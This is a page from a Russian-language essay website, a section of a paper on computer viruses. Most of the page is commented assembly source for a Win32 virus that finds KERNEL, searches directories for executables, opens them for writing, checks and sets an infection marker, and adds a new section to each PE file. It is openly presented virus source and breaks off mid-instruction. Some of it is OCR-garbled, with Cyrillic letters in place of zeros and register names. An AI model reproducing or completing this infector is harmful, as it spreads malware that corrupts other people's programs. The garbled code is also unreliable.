Главная    Почта    Новости    Каталог    Одноклассники    Погода    Работа    Игры     Рефераты     Карты
  
по Казнету new!
по каталогу
в рефератах

Компьютерные вирусы

ано
;в ASCII-формате по адресу ES:EDI
 
HexWrite16 proc
 
;Сохраним младший байт из стека
push ax
 
;Загрузим старший байт в регистр AL
xchg al,ah
 
;Переведем старший байт в ASCII-формат
call HexWriteS
 
;Восстановим младший байт из стека
pop ax
 
;Переведем младший байт в ASCII-формат
 
call  HexWriteS
ret
HexWrite16 endp
 
;Процедура перевода двойного слова в ASCII-формат для печати.
;Значение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
 
;Сохраним младшее слово из стека
push eax
 
;Загрузим старшее слово в регистр АХ
shr  eax, 16
 
;Переведем старшее слово в ASCII-формат
call HexWrite16
 
;Восстановим младшее слово из стека
pop eax
 
;Переведем младшее слово в ASCII-формат
 
call HexWrite16
ret
HexWrite32 endp
 
;Сделаем процедуру WndProc доступной извне
 
public WndProc
ends
 
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
 
assume cs:vladseg
vstart:   *
 
;Вычислим текущий адрес
 
call   recalc
recalc:
pop ebp
mov eax,ebp
db 2Dh         ;Код команды SUB AX
subme   dd 30000h+(recalc-vstart)
 
;Сохраним адрес в стеке
push eax
 
;Вычислим стартовый адрес вирусного кода
sub ebp,offset recalc
 
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
 
;Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz  notkern2
 
;KERNEL найден, точка 2
 
mov eax,[ebp+offset kern2]
jmp movit
 
;Точка 2 не подошла, проверим точку 1
notkern2:
 
; Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
 
;Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz  nopayload
 
;KERNEL найден, точка 1
 
mov eax,[ebp+offset kern1]
 
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
 
;Сохраним адрес KERNEL
mov [ebp+offset kern],eax
cld
 
;3апомним текущую директорию
lea  eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir
 
;Инициализируем счетчик заражений
 
mov byte ptr [ebp+offset countinfect],0
 
;Ищем первый файл
infectdir:
 
lea   eax, [ebp+offset win32_data_thang]
push eax
lea  eax, [ebp+offset fname]
push eax
call   FindFile
 
;Сохраним индекс для поиска
 
mov dword ptr [ebp+offset searchhandle],eax
 
Проверим, найден ли файл. Если файл не найден,
;меняем директорию
 
cmp еах,-1
jz    foundnothing
 
;0ткроем файл для чтения и записи
gofile:
push О
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3                        ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h      ;GENERIC_READ+GENERIC_WRITE
lea   eax, [ebp+offset fullname]
push eax
call   CreateFile
 
;Сохраним описатель файла
 
mov dword ptr [ebp+offset ahand],eax
 
;Проверим, не произошла ли ошибка.
;Если ошибка произошла, ищем следующий файл
 
сmр еах,-1
jz    findnextone
 
;Доставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка
 
push О
push О
push 3Ch
push dword ptr [ebp+offset ahand]
call   SetFilePointer
 
;Считаем адрес РЕ-заголовка
push О
lea   eax,[ebp+offset bytesread]
push eax
push 4
lea   eax, [ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call  ReadFile
 
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call  SetFilePointer
 
;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов
 
push 0
lea   eax, [ebp+offset bytesread]
push eax
push 58h
lea  eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call  ReadFile
 
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
 
cmp dword ptr [ebp+offset peheader], 00004550h;
jnz   notape
 
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
 
cmp word ptr [ebp+offset peheader+4ch],OFOODh
jz    notape
cmp dword ptr [ebp+offset 52],4000000h
jz    notape
 
;Доставим указатель позиции чтения/записи на начало РЕ-заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call  SetFilePointer
 
;Считаем весь РЕ-заголовок и таблицу объектов
 
push О
lea   eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea  eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call  ReadFile
 
;становим признак заражения
 
mov word ptr [ebp+offset peheader+4ch],OFOODh
 
;Найдем смещение таблицы объектов
xor  eax,eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
 
;Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea   eax, [ebp+offset peheader]
add esi,eax
xor  eax.eax
mov ax, [ebp+offset numObj]
mov ecx,40
xor  edx.edx
mul ecx
add esi,eax
 
;Увеличим число объектов на 1
 
inc   word ptr [ebp+offset numObj]
lea   edi,[ebp+offset newobject]
xchg edi,esi
 
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
 
mov eax,[edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor  edx,edx
div   ecx
inc   eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
 
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend-vstart
xor  edx,edx
di
Пред.678910След.
скачать работу

Компьютерные вирусы

 

Отправка СМС бесплатно

На правах рекламы


ZERO.kz
 
Модератор сайта RESURS.KZ